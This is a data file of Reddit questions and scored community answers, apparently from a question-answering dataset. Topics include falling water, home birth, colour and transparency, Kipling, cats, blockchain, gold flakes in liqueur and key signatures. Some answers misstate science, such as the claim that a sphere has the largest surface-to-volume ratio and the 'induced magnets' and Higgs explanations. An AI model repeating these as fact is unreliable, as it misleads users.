{"q_id": "95mdjs", "title": "why do water streams, when falling from a height, divide into individual drops?", "selftext": "I tried this on several occasions and everytime after a couple of feet the stream divides into two and finally into individual droplets.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95mdjs/eli5_why_do_water_streams_when_falling_from_a/", "answers": {"a_id": ["e3tqojf", "e3tr5d1", "e3tw2eg"], "score": [4, 5, 5], "text": ["Water hits the air as it falls. The air pushes back slightly. Over distance this pushed the water apart", "As water speeds up from gravity, the stream won\u2019t be able to stay together. The stream narrows down to a point where it will turn into droplets.\nThere\u2019s a paper written on this, Basically just look at the figures and read the discussion.\n_URL_0_", "So water has a really strong surface tension. Basically, you can think of it as a bunch of people with their hands linked on the surface with a bunch of people on the inside trying to force their way out. In the case of water, the people on the surface have really strong grip strength and they want to link hands with as many people as they possibly can. For some volume of water, the shape with the largest surface area-to-volume ratio is a sphere, so this is the shape the water *wants* to get into. When you pour water out of a bottle or pump it out of a pipe and the water goes into free fall, each part begins accelerating. Since it is accelerating, that means that the water that came out first will start to pull away from the water that comes out after. This makes the stream start to thin out the further down it travels. But the thinner the stream gets, the closer the people on the surface get, and when it gets thin enough, they are able to link hands. At this point, they will do exactly that and form the shape which will allow them to link hands with as many other people as they can: spheres."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www-e.uni-magdeburg.de/mertens/teaching/seminar/themen/ajp_drop_formation.pdf"], []]}
{"q_id": "1wmu1y", "title": "How does the safety of homebirth with a midwife compare to birth in a hospital?", "selftext": "There is a popular topic in /r/news but the analysis in the comments seems shaky.  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wmu1y/how_does_the_safety_of_homebirth_with_a_midwife/", "answers": {"a_id": ["cf3kyl8", "cf3ouii"], "score": [6, 2], "text": ["It's a really difficult topic to assess due to the limitations on data (a common issue in obstetrical research).  Generally, studies agree that home birth leads to fewer medical interventions (c-sections, operative vaginal deliveries, episiotomies, etc).  There are some variations in terms of outcomes - [for example, this meta-analysis found reduced rates of maternal morbidity with increased rates of neonatal mortality](_URL_1_).  [This prospective cohort study](_URL_0_) found that around 13% of women who intended to deliver via home birth ended up requiring transfer to a hospital at some stage of their delivery.  [This prospective cohort study](_URL_2_) noted that nulliparous (first time) women had poorer outcomes and higher rates of hospitalization compared to multiparous women.\n\nData here are difficult to interpret because there have been few/no robust RCTs, which makes confounding a larger issue.  For example, women who choose home birth tend to be white non-Hispanic, older, multiparous, native born, living in a nonmetropolitan county, and nonsmokers.  Data from deliveries also tends to be compared with those hospital deliveries that are deemed 'low risk', as anybody with increased risk factors should not attempt a home birth.  So is home birth for everybody?  Absolutely not.  But in some cases it may be a reasonable alternative to a hospital birth, but this decision should be made in conjunction with a medical professional to risk stratify.  As with everything in medicine, it comes down to weighing the risks and benefits as a team and determining which values are most important.", "There is a good summary of the published research [here] (_URL_0_). \n\nConclusion: \"although the absolute risk may be low, planned home birth is associated with a twofold to threefold increased risk of neonatal death when compared with planned hospital birth.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC558373/", "http://www.ncbi.nlm.nih.gov/pubmed?term=20598284", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3223531/"], ["http://m.acog.org/Resources_And_Publications/Committee_Opinions/Committee_on_Obstetric_Practice/Planned_Home_Birth?IsMobileSet=true"]]}
{"q_id": "22hwnh", "title": "could it be possible for someone to take control of all the channels on the tv to send a message like they do in the movies?", "selftext": "I would seem like it is possible, but how difficult would it be to pull it off?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/22hwnh/eli5_could_it_be_possible_for_someone_to_take/", "answers": {"a_id": ["cgn3nxf", "cgn5a7a", "cgn5amg"], "score": [4, 2, 3], "text": ["It's been done on individual channels. You would need a much stronger signal to over power all channels.\n\n_URL_1_\n_URL_0_\n\nWhether you could still do it today is an entirely different question.", "Signal intrusion has happened before as someone already posted.  But encryption makes that all but impossible today.  You would either need some serious ability to break encryption or infiltrate multiple tv providers to pull it off. ", "I've heard there is some kind of message which would be broadcasted in every channel if the US government is destroyed by something and instructs some information. Here where I live, every channel gets this message on the upper side of the screen (like some news channels have on their screen on the bottom) and it holds some kind of message which informs some major problem in some town. It also sends some kind of morse code at the same time and lowers the volume of the show you're watching. Its happened a few times, like some gas leak in some town and it instructed for people to be indoors and shut all the windows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=tWdgAMYjYSs", "http://en.wikipedia.org/wiki/Max_Headroom_broadcast_signal_intrusion"], [], []]}
{"q_id": "4qnomv", "title": "if white is the presence of all colors, and black is the absence of all colors. what is clear?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qnomv/eli5_if_white_is_the_presence_of_all_colors_and/", "answers": {"a_id": ["d4uf7aj", "d4uhbs2", "d4uif6p", "d4ukq0e", "d4ukqhw", "d4ulhr1", "d4ulkdb", "d4umnf0", "d4umswj", "d4umx3l", "d4un2wa", "d4uncp8", "d4uo7w0", "d4uotvx", "d4up4a0", "d4uqu1w", "d4uqyr2", "d4urnso", "d4us5hz", "d4usa4s", "d4ut4mv"], "score": [1128, 6, 13, 5, 5, 12, 3, 12, 26, 5, 3, 3, 2, 2, 3, 2, 2, 2, 3, 3, 2], "text": ["Black absorbs light, white reflects it and clear allows light to pass through it.\n\nVarious colors on the spectrum absorb SOME wavelengths of light while reflecting other wavelengths which we perceive as colors within the visual spectrum.  \n\nOn a scale of transparency (clear) vs opacity (color), clear is 0% color with no properties to absorb or reflect light.", "Clear is the absence of materials which reflect or emit light. It is to color as vacuum is to matter.", "Two completely different properties: reflectivity and opacity.\n\nWhite is reflecting all the colors of the spectrum. Black is absorbing all the colors.\n\nPerfect clearness would be the passing of all light of all colors in the visible spectrum. Opacity means that no light passes.\n\nThen you have filters, which are transparent to some wavelengths but absorb others. In the same way that in reflectivity certain pigments reflect certain wavelengths and reflect others.", "So imagine that light is a ball.    If I throw a ball at you it comes back at a different angle sometimes and others it doesn't. The ball is reflected back at you and this reflection can depend on both how the balm is thrown and what you through it at. Sometimes it will get reflect at an angle and this can give objects color.  Sometimes it is directly returned and that's a reflection.  But if you through a ball at a spiderweb, it will probably go through the spiderweb with  a maybe slightly altered course.  That's what a translucent object is doing.  It's permitting the ball or light through with very small changes in its wavelength and trajectory.", "More like ELI[10], amirite?", "White is the reflection of all visible colors, while black is the absorption. Clear is when the visible colors pass through a material, neither reflected nor absorbed. ", "When light hits something that's black, it gets absorbed and none of it reaches your eye, so black.\n\nWhen light hits something that's white, it all gets reflected and all of it reaches your eye, so white.\n\nWhen light hits something that's clear, it all passes through and doesn't get absorbed or reflected. When it reaches your eye, it's still the color of whatever it reflected off of *before* going through the clear thing.", "Do you mind if I steal this question for /r/shittyaskreddit?", "The question is flawed.  Black is the color that is produced when an object absorbs the majority of the visual spectrum, white is the color produced when an object reflects the majority of the visual spectrum. \"Clear\" is what is produced when there is neither absorption nor reflection. ", "there's a couple things to distinguish... \n\nthe 'colour' of light: basically the relative power transmitted at different wavelengths \n\nthe 'colour' of an object: depends on the reflective/absorptive properties of the object... \ni.e., which wavelengths does the object absorb and which wavelengths does it reflect readily?  \n\nThings that we perceive as white, grey or black are all reflecting light that stimulates our different types of cones evenly. \ni.e., they light they reflect has power distributed evenly(ish) across all wavelengths in the visible spectrum. \n\nThe thing that makes them appear variously as white/black or shades of grey, is their overall luminance in relation to the surroundings... Or in other words the total amount of light reflected by an object compared to its surroundings. \n\nFor instance, the light reflected by a piece of paper indoors might appear white. However if the same pattern of light (*not* the paper itself) was viewed outdoors, in the context of bright sunlight, it might appear black. \n\nThe character of the light hasn't changed, but it's luminance in relation to the surrounds has.  \n\nAs you can imagine, if the piece of paper itself were out in the sunlight it would still look white and that's because it would be reflecting much more light than in the indoor context. \n\n\nAs for clear things, basically their structure allows light to pass through them without interfering with the light very much. \n\nThings that are transparent but coloured, allow the light to pass through but selectively absorb some wavelengths.\n\nThings that are translucent allow light to pass through but disrupt the direction of the light, breaking up the pattern of light from the other side. The result: you can see light through them but can't make out any details about what's on the other side. \n\n\nI hope that was helpful.", "People can be tall or short, and they can be skinny or fat. Likewise something can absorb (black) or reflect light (white), and they can be transparent (clear) or opaque (solid). Thus, asking what clear is in terms of color is like asking for someone's height in lbs.", "Clear is not nothing. Clear is the alpha or transparency value of a colour. This is the A in RGBA. A fully transparent pixel indicates this pixel should be the colour of the pixel behind this. If that pixel is transparent the recursive process should be applied until such time that we find a non-transparent pixel.", "This isn't the best way to start this either. White could very well be seen as the absence of all color just as black is the combination of all colors. Take all three primary colors in paint. Mix them up. You get black. By this logic black is the presence of all colors. \n", "White and Black have to do with the color coming from your side and what happens to it. The white light comes back at you like a mirror and the black light just stays inside the black thing. \n\nClear and opaque have to do with the light coming from the other side. Clear things let all the light through. Opaque things let none of the light through. Other things let some of the light through. ", "We do an opacity/haze test at my work and a spectral test for colors. The result for the haze/opacity is a percentage of light passing through it (for my work, about 40% is the norm). The spectral test yields three numbers that are co-ordinates on a three-dimensional graph; x-axis is the red vs. green color, y-axis is black vs. white color, z-axis is the blue vs. yellow color. The x- and z-values are close to zero for clear material (meaning equal amounts of red/green or blue/yellow) and the y-value is around 80 for clear material (meaning its more white than black). So for me, clear material is a slight white color, though not to the naked eye. This is just my interaction with the color spectrum and opacity, hope it helps.", "And this is why camouflage is a difficult technology. It's relatively easy to make a surface reflect all light or absorb all light, but it is very difficult to make a surface behave as if it does not affect light at all. Clear is the property of not making any change to the existing light from the environment (apart from bending it to some acceptable degree).", "Your kind of on track but this is for subtractive coloration. Additive coloration is Black as all color and white is the removal of all color. You can neither add nor subtract clear, therefore clear is nothing. Much like the number 0, it's a noun but it's only that, no quantity.", "This question has not opened up any meaningful discussion or insight. I don't even get what you're asking. Black is all colors, white is no color. I think you're confused. And clear is not even a color. ", "Upvote in the hopes that this might educate people that clear has nothing to do with color and that something can be both clear and colorless, OR clear and colored.  ", "Imagine a road going north and south; to the north is all color (white), to the south is no color (black).\n\nNow imagine a road crossing it, going east and west.  To the east is perfectly transparent (clear), to the west is perfectly opaque (solid).\n\nYou can have a color that's five miles north and two miles east, or six miles south and two miles west.  Transparency is independent of color.", "Maybe this will help:\n\nBlack is the even absorption of all light.\n\nWhite is the even reflection of all light.\n\nClear is the even transmission of all light."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "344nm8", "title": "Was Rudyard Kipling mocking imperialism when he penned the \"White Man's Burden\"?", "selftext": "I learned about this in class the other day, and the poem reads to my ears like typical British dry wit. On the other hand, there appears to be some cross-use by both detractors and supporters of American imperialism at the time it was penned. \n\nThis is evident in the sourced [Wikipedia](_URL_0_) article on the topic. Is there any evidence beyond the Wiki as to whether Kipling had a particular intent behind the poem?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/344nm8/was_rudyard_kipling_mocking_imperialism_when_he/", "answers": {"a_id": ["cqrnsj1"], "score": [8], "text": ["[Shadowing the White Man's Burden](_URL_1_) contains some discussion of the conflicting opinions of both the educated and the uneducated at the time.  You could make a convincing argument either way on the subject.  I've always been of the mind that Kipling merely sought to foment discussion rather than suggest a destiny or course of action (though I may be giving Kipling's intelligence too much credit).\n\nAdditional info:\n[The Kipling Society](_URL_0_) provides a nice combination of the poem and a personal letter from the same timeframe to promote the idea that Kipling saw the \"White Man's Burden\" as a sincere \"humanitarian\" mission to bring the savages out of depravity."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/The_White_Man%27s_Burden"], "answers_urls": [["http://www.kiplingsociety.co.uk/rg_burden1.htm", "https://books.google.com/books?id=noJ0pg5otWwC&amp;dq=kipling%27s+intent+white+man%27s+burden&amp;source=gbs_navlinks_s"]]}
{"q_id": "dsbzel", "title": "Did the North Vietnamese Air Force conduct air strikes on U.S. forces during the Vietnam War?", "selftext": "It always seems like whenever the North Vietnamese Air Force is mentioned during the Vietnam War they seem to fight very defensively, mostly air superiority and interception missions. Is there a reason for this? Did they ever go on offensive missions against U.S. positions?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dsbzel/did_the_north_vietnamese_air_force_conduct_air/", "answers": {"a_id": ["f6q83wj"], "score": [7], "text": ["They did, but very rarely, more or less \"count on one hand\" number of times during the whole war. There was an incident in 1968 when the NVAF sent Anotonov AN-2 biplanes to attack a US TACAN system in Laos, and the USS Higbee was attacked in 1972. These are very much exceptions though.\n\nThe reason why is simply that using their air resources in an offensive manner would: \n\n1. Not achieve a whole lot. \n\n2. Be devastating to their defence to to inevitable high losses in any significant mission undertaken.\n\nThe United States had a huge advantage in the number of planes, pilots and ability to compensate for losses in their air resources. Against such numbers any attack over South Vietnamese airspace would be liable to suffer great losses. The possible gain from attacking would be small, there were not fleets of bombers to send against Saigon, and a small bombing run resulting in a large loss would mean wasting hard to replace experienced pilots and expensive planes. From a Vietnamese perspective the air war was not one that it was possible to \"win\", the availability of resources needed was not even remotely within their reach. The purely defensive posture, especially when combined with AA missiles, made a much larger impact than attacking with bombs ever could have achieved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1glmw5", "title": "From my layman's perspective, science understands how dog's view humans (part of a pack, or alpha, etc.). Do we know anything about how cats view people?", "selftext": "Does my cat see me as another larger cat? Does it think it has to take care of me (like licking my hair or presenting me carcasses it's killed)? Does it see me as part of the family or part of a pack? \n\nTL;DR sometimes I think my cats an alien", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1glmw5/from_my_laymans_perspective_science_understands/", "answers": {"a_id": ["calfivu", "cali1o1", "calkdte", "calp7qm"], "score": [11, 13, 3, 16], "text": ["Let's keep this on topic with good references or expertise! ", "I'm no expert, but here are some articles to read to get a start.  \n\n\nWiki Page:  \n_URL_1_  \n\nSome cited news articles / studies:  \n_URL_2_ (only references the study, no direct link)  \n\n_URL_3_  \n\n[PDF WARNING](_URL_0_)\n\n\n", "Also check this guy out, in the second part of his video he explains what is the theory of mind quite well, and how it applies to animals and how animals (particularly gorillas) perceive humans. It's a bit vague of an answer to your question but it could help: _URL_0_", "Adult cats meow at humans, but not each other, and kittens meow at their mother.  This could be taken as evidence that cats tend to slot humans into the \"mother\"  role, at least to some extent. \n\nEdit: On the other hand, the bringing food to the door tends to imply the opposite.  It's not surprising...in mammals most affectionate relationships seem to be derived from the mother-offspring bond in one way or another...they make use of the same hormonal pathways, anyway, which is why oxytocin is important for childbirth, lactation, and social bonding."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.savt.ca/images/file/Scherk%20articles/social%20organization%20of%20the%20cat.pdf", "http://en.wikipedia.org/wiki/Cat_behavior", "http://news.discovery.com/animals/zoo-animals/cats-humans-pets-relationships-110224.htm", "http://www.huffingtonpost.com/dr-karen-becker/cats_b_1073988.html"], ["http://www.youtube.com/watch?v=evQsOFQju08"], []]}
{"q_id": "8y4xln", "title": "what is block-chain technology and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8y4xln/eli5_what_is_blockchain_technology_and_how_does/", "answers": {"a_id": ["e286tgi"], "score": [13], "text": ["Okay, I am going to actually try to ELY5\n\nSo imagine you, me and 3 other people (Johnny, Sally and Steve).\n\nAll 5 of us have a book and pen. The book contains record of the balance of all 5 of our bank account.\n\nLike so\n\n* You: $5\n* Me: $3\n* Johnny: $2\n* Sally: $25\n* Steve: $0\n\nJohnny wants to sell 5 of his apples to Sally for $20. Sally doesn't actually\n\nhave physical money, she just has the balance that we all say is in her account.\n\nWe all note in our respective books that Sally has given Johnny $20. Then Johnny gives Sally the 5 apples.\n\nSo the new balances in our journal are\n\nLike so:\n\n* You: $5\n* Me: $3\n* Johnny: $22\n* Sally: $5\n* Steve: $0\n\nBUT Steve is a scumbag. He tries to write in his journal that Sally gave HIM the $20. So his journal is different:\n\nLike so\n\n* You: $5\n* Me: $3\n* Johnny: $2\n* Sally: $5\n* Steve: $20\n\nLet say Steve now tries to spend his $20 to buy some gum from me. Steve tries to pay me $20 but we all look in our journal and see that Steve's balance is $0 and he can't pay me $20. Similarly if we were to check Johnny's balance we would all conclude that it was $22 and not $2 like Steve claims.\n\nThis is esentially block-chian but with millions of People. Everyone has a copy of everything. The main difference is things are anonymous. So we wouldn't know each others names. But everyone knows the balances of each and every account and what transactions occur in it.\n\nA few people can try to change the state of the whole thing but the truth is determined by the consensus of the majority."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1u3awn", "title": "Why do the gold flakes in Smirnoff Gold neither float nor sink, but instead remain suspended in the liquid? Even if you move the bottle, they don't really move.", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u3awn/why_do_the_gold_flakes_in_smirnoff_gold_neither/", "answers": {"a_id": ["cee7rwh", "cee7vdb", "cee7xvm", "cee8fto", "cee9onm"], "score": [8, 332, 4, 43, 2], "text": ["The only thing I can think of is the surface area on the gold is extremely large compared to the weight of each flake. If that is the case, it probably isn't perfectly suspended. If you leave it in a closet for a few days you may see the flakes tend toward the bottom of the bottle.", "The special thing about gold foil is that it can be made to be amazingly thin- sometimes descriptors like 1 atom thick get thrown around. That means the gold foil essentially has no weight. While gold is denser than lead and would sink very easily, with gold foil the resistance from the water dwarfs the force of gravity on the gold causing it to sink so slowly that it appears to be suspended.\n\nAn analog might be tissue paper in air- if you have a big block of tissue paper, it falls very quickly, but a single piece falls slowly. It's the same effect except the water has much stronger resistance than air. \n\nIf you wait long enough without disturbing the bottle, the foil would settle on the bottom. ", "In this [image from Wikipedia](_URL_0_) it looks like the gold flakes are sinking, just slowly, as they have mostly settled on the bottom of the bottle.\n\nIt's hard to tell for sure, but the ones that are not on the bottom appear to be near the glass sides of the bottle.  I don't know for sure if this is actually the case or what it means.", "They do sink, just slowly. Take a look in any liquor store and you'll see the flakes all sitting on the bottom.\n\nThe question you want to ask is why they sink so slowly. Intuitively we all know that if they were pebbles they'd plink straight to the bottom -- even though the liqueur has a ton of sugar dissolved in it it's no where near as dense as gold. So there must therefore be some force proportional to surface area that's involved here. Do we know of such a force? It turns out we do.\n\nLondon Dispersal Forces are formed between uncharged atoms or molecules and other molecules (the others can be charged or not charged). Roughly speaking, because electrons move around and repel eachother if you put two masses of electrons near eachother a sympathetic vibration starts up where the electrons sway back and forth toward and away from each other around the points they're fixed to. This in turn causes the points to be attracted in part to the \"wrong\" elections when they sway close. In short, everything is a little bit electrically sticky if things are close enough.\n\nOn most solids at a microscopic level the surface is actually very rough and \"contact\" involves only the peaks of mountains touching, so the LDF is negligible. But with very thin flakes you essentially have a smooth visible molecule and the fall of the gold through the water, alcohol and sugar is constantly slowed by tiny induced magnets.\n\n\nBonus round:\n\nAh! but you may ask, wouldn't the magnets above pull with the same force as the magnets below and this induced force cancel itself out?  Well, we know experimentally that there are cases of induced forces like this slowing falls by gravity. (_URL_1_) And this is actually a chance to think about something truly profound.  Let's go back to the idea of an induced swaying mass of electrons.  So around all the points the electrons are swaying back and forth, clumped together more than they would be out of this arrangement.  At any given time then you have points that are dense with electrons and points that are not dense of electrons.  If we drew a picture of it we'd get something like the Plinko board from The Price is Right.  (_URL_0_).  If you drop something down this board (like a Plinko chip) its obvious to us that it falls more slowly than if the pegs weren't there.  What we've just done is to change our conception from lots of forces to something moving through a field.  In many cases in the natural world thinking about many small forces fighting with eachother is better done by considering objects moving through a field -- it gives you clearer answers.  So, for example, instead of modeling the motion of the planets around the sun as being due to forces you could consider them moving in a field, but in this case to account for the circular motion the lines of the field itself must be curved (this is what is meant by curved space time).\n\nLet's take it one notch higher why don't we.  Bring it up to the current era.  We know that some bits of stuff move much more slowly through space given the same force acting on them than others.  These bits of stuff are those with mass.  If I push you you move a lot more slowly than if I \"push\" a massless photon (which will move away from me at the speed of light due to my push).  Instead of considering forces let's imagine the field version of this.  Apparently \"you\" interact with a field that's there that the photon does not.  This means there's something about \"you\" that allows interaction with the field that the photon doesn't have, as the field is there for both things but only one interacts with it.  (By the way, there are other tiny things the same size as a photon that do interact with the field, so it's not a size question here).  Right now our name for this thing that \"you\" have that photons don't is the Higgs Boson.  Mass is due to an interaction with a field.  In short, you move about the universe more slowly than photons do under the same principles that flakes of gold settle more slowly than pellets.\n\n\nLast note: \n\nThere may also be fluid dynamics stuff involved with the original question but I don't know enough about that to talk about it.  I don't even know if it's a bigger or smaller factor than the LDF.  This is because fluid dynamics is a much nastier and more difficult thing to think about than the nature of the universe.", "I have had a few coworkers taste the stuff, and they all mentioned a weird, gelatinous or \"goopy\" texture to the vodka. I'm guessing there's some kind of thickening agent in the vodka to keep the gold suspended. This is limited to this brand only, other brands of gold-infused booze (Goldschlager and knockoffs) are simply syrupy, since they're so sweet. In addition, the gold flakes in Goldschlager settle to the bottom pretty quickly.\n\nSource: Am bartender."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://upload.wikimedia.org/wikipedia/commons/9/97/Goldschl%C3%A4ger.jpg"], ["http://static1.wikia.nocookie.net/__cb20120803180723/priceisright/images/9/90/Plink.png", "http://www.youtube.com/watch?v=N7tIi71-AjA"], []]}
{"q_id": "alwfsy", "title": "explain key signatures to me.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/alwfsy/eli5_explain_key_signatures_to_me/", "answers": {"a_id": ["efhhlnq", "efhilkf", "efhktsv", "efhli4b", "efhlla6", "efhllhp", "efhllw8", "efhlpv0", "efhm3rv", "efhm821", "efhmabx"], "score": [6, 26, 15, 2, 2, 3, 6, 4, 3, 2, 2], "text": ["Played guitar for years but cannot read music.  I simply do not understand key signatures.  What is the difference between a song in the key of G verses the key of A?  I have read many articles for newbies but it never clicks.  Thanks", "This is an explanation based on Piano. \n\nSo take the key of C major. It consists of all the keys CDEFGAB all white keys on a Piano. So a song written in this key would most likely contain no sharps / flats (black keys). Although you could have some accidentals but that's another explanation. \n\nThe key of G Major contains one black key which is F#, so would be GABCDEF#, so a song written in this key would most likely only use those notes, although again you may have accidentals. \n\nSo basically it just sets out the notes you will be using for that song, major keys are happier sounding and minor are more melancholy sounding. You don't have to stick to those keys as I mentioned you may have accidentals, where by in say C Major you may have a certain passage that contains an E# for instance. \n\nAll the scales are built in the same way and have a nice sounding tonality when played in succession. All major scales are built with the formula TTSTTTS, where T represents skipping a key black or white before the next one, and S represents moving directly to the next key. \n", "All **Major scales** follow this exact pattern: W W H W W W H (**whole**, **whole**, **half**, **whole**, **whole**, **whole**, **half**).\n\nLook at a piano keyboard. To start on any given note and play a major scale, you sometimes (lots of times) have to play black keys in order to follow that pattern. The key signature is a way to tell musicians what black keys to include when they're playing.", "Key and key signature are two different things.\n\nThe thing to keep in mind is that a melody is a pattern, that we play relative to a starting point. Think about the first phrase of \"Twinkle, Twinkle Little Star.\" You can represent that pattern in a lot of ways. In solfege, it's \"Do Do Sol Sol La La Sol,\" in scale degree numbers it's \"1 1 5 5 6 6 5.\" \n\nThe key of a song is where you're starting the pattern. If you play that pattern \"1 1 5 5 6 6 5\" for Twinkle, Twinkle in the key of G, you're letting that note G be the 1 in the pattern, the first scale degree. You're building the pattern of the song on the note G. So the notes are \"1 1 5 5 6 6 5\" = \"G G D D E E D\". This is that melody in the key of G.\n\nIf you play in a different key, say, D, you're letting 1 = D, so your pattern is now \"1 1 5 5 6 6 5\" = \"D D A A B B A\". The pattern is the same, so the relationships between the notes in your melody are the same, but you started in a different place so the notes themselves are different. We say that we have **transposed** the song, by moving it to a different key with the relationships intact.\n\nWhen we analyze music, it is often helpful to think about melodies and harmonies in terms of scale degree, rather than their actual pitch, for this reason. I don't have perfect pitch (neither do most musicians, it's rare!) but when I hear a piece of music, I can often figure out which one of the pitches I hear is scale degree 1, the tonic note of the key we're in. So if I were hearing \"Twinkle Twinkle\" for the very first time, I wouldn't recognize it as \"G G D D E E D\" or \"D D A A B B A\" or whatever specific pitches you played (that is, I wouldn't know what key I was hearing), but I would recognize it as \"1 1 5 5 6 6 5\", and then be able to play it in whatever key I want, based on starting it in a new place. (This is a useful trick for accompanying vocalists-- you can move a piece up or down, by changing keys, to make it fit more comfortably in the singer's range.)\n\nA key signature is something different, and is one way (the standard, classical, five-lines-and-a-clef way) to communicate which key we're in, when we're writing and reading sheet music. The key signature is the collection of sharps or flats at the beginning of each line (or, in the case of C Major or A Minor, zero sharps and zero flats). There is a lot to go into about the history of keys, and why the sharps and flats are what they are, and how bitterly musicians fought over tuning and what it did to these keys, but the basic info is: the key signature can be found by taking a basic major scale, or minor scale, and transposing it to the key you're interested in, and seeing what pitches have to become sharp or flat to make it happen.\n\nYou might look into a very useful diagram: the **circle of fifths**, which might help some of the key signature stuff click. It's got a lot of interesting patterns to study.\n\nHope this helps!", "Key signatures represent a scale, whether major or minor. The scale is like a staircase so it just depends which step you\u2019re starting on. ", "Suppose you want to play a major scale (do-re-mi-fa-sol-la-ti-do) on the piano.  So you go and sit down, and push all the white keys down (C-D-E-F-G-A-B-C) in succession.  Cool!  Simple enough, and it sounds good.\n\nBut wait!  What if you wanted to start on some other note instead?  Well, if you start on a note other than C, and go up playing white keys only, it sounds weird; it doesn't sound quite like do-re-mi-fa-sol-la-ti-do anymore.  To get it to sound right, you have to add some black notes -- sharps or flats.\n\n**Key signatures are a list of sharps or flats required to get the scale to sound \"right\" if you start on a certain note.**  For example, if you start on D and go up, then you'll need a F# and a C# (instead of F and C) to get it to sound right on the way up.  Thus, the key of D major has two sharps - F# and C#.\n\nOf course, there's much more to the story, but that's the most basic one.", "ELI5: Music is like square dancing. The key is like the spot that you start on the dance floor. You can do the same dance, but if you are in the wrong starting location then it won't work if others are dancing with you. You need to do the same dance, *and start from the correct location in relation to the others* or else you collide with the others.\n\nWhen you all start from a new location and lined up properly, it is like the same dance but *not quite* because it is in a different part of the room. That is a different key signature.", "Music can be written without any key signatures, and just a lot of accidentals. Key signatures are simply a way of simplifying sheet music. ", "The key signature tells you what to expect when you play a song. Every key, major or minor, flat or sharp has a certain pattern. The key signature tells you what pattern (chords, modes, whatever) are likely going to apply to the situation\n", " Imaging you play a song where the first note of the melody is a C, then the song uses all white notes of a keyboard CDEFGAB, in any order but only these notes. Above these notes you can play certains chords, in fact all the chords that contains these notes. These chords are C, Dm, Em, F, Am and G.  You cannot play a chords that contains a C sharp or it will sound weird (or you are into free jazz). This set of notes and chords is one key signature, called C major in this example. \n\nNow imaging this song is too low for your singer, he asked to sing it at a higher pitch, ie the first note is a E instead of the C. Then all notes are shifted by 2 tones, melody and chords. To keep all interval between notes from the original melody and chords you need to use other notes than the white one in the keyboard ie the G must be a G sharp, etc. This is another key signature because it use another set of the seven notes of the scale. \n\nAs a guitarist it maters if you want to improvise over a series of chords.  If you are told the score is in C major you know you can use any notes from the scale of C major to build a melody or a solo. \n\nThe beauty of guitar is that it\u2019s very easy to move from one key to another one. If you need to move from C major to C sharp major you simply move your scale position up one fret, while the sax player has a headache. \n\nThere are ways to identify a key signature by looking at the music sheet or the chords that are used. Research about the \u00ab\u00a0circle of fifths\u00a0\u00bb to learn more about this. ", "Key of G, G is the root note. Key of A, A is the root note. Key of G can have the A note in it but it isn't the root/default note. Playing mary had a little lamb in different keys will sound similar, but one will sound higher/lower in pitch than the other. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "eha41f", "title": "Do topically applied creams and lotions result in caloric intake?", "selftext": "I'm just genuinely curious, not a dieting question or anything.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eha41f/do_topically_applied_creams_and_lotions_result_in/", "answers": {"a_id": ["fckkhkg"], "score": [4], "text": ["Several small-sample pilot studies in India have suggested that [premature infants can actually put on extra weight](_URL_0_) from fat calories absorbed through the skin via topically-applied oils. Again, the sample sizes were very small so this isn't *proven*, but early indications are pointing that direction.\n\nHowever, the study I just linked notes in the discussion section that the skin of premature infants is significantly  more permeable than even the skin of full-term infants, which is presumably still more permeable than adult skin. So even if preemies can gain significant weight from topical oil applications, that doesn't necessarily transfer to adults.\n\nIn a study from the early '90s on massage oil, [researchers found traces of lavender oil in the blood of massage recipients shortly after their massage](_URL_1_). The masseuses applied exactly 1.5g of oil, but the measured serum concentrations were down in the nanograms per milliliter...scaled up to the total blood volume of an adult human body (and considering that the measured substances account for \\~50% of lavender oil), 1.5g of oil applied to the skin resulted in roughly 0.002g of lavender oil in the blood...or about 0.018 fat calories. It's entirely possible that this number would scale, so \\~8g of lavender essential oil, rubbed all over your body, might possibly yield exactly one (1) extra fat calorie absorbed through your skin.\n\nSo...yes, apparently, some small amount of fats are able to get into the bloodstream through the skin, where they are apparently metabolized the same as fats absorbed through the intestinal wall."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://medind.nic.in/ibv/t05/i3/ibvt05i3p255.pdf", "https://pdfs.semanticscholar.org/3530/6465958d8e35e36e7933fa57ba134fe4f9b3.pdf"]]}
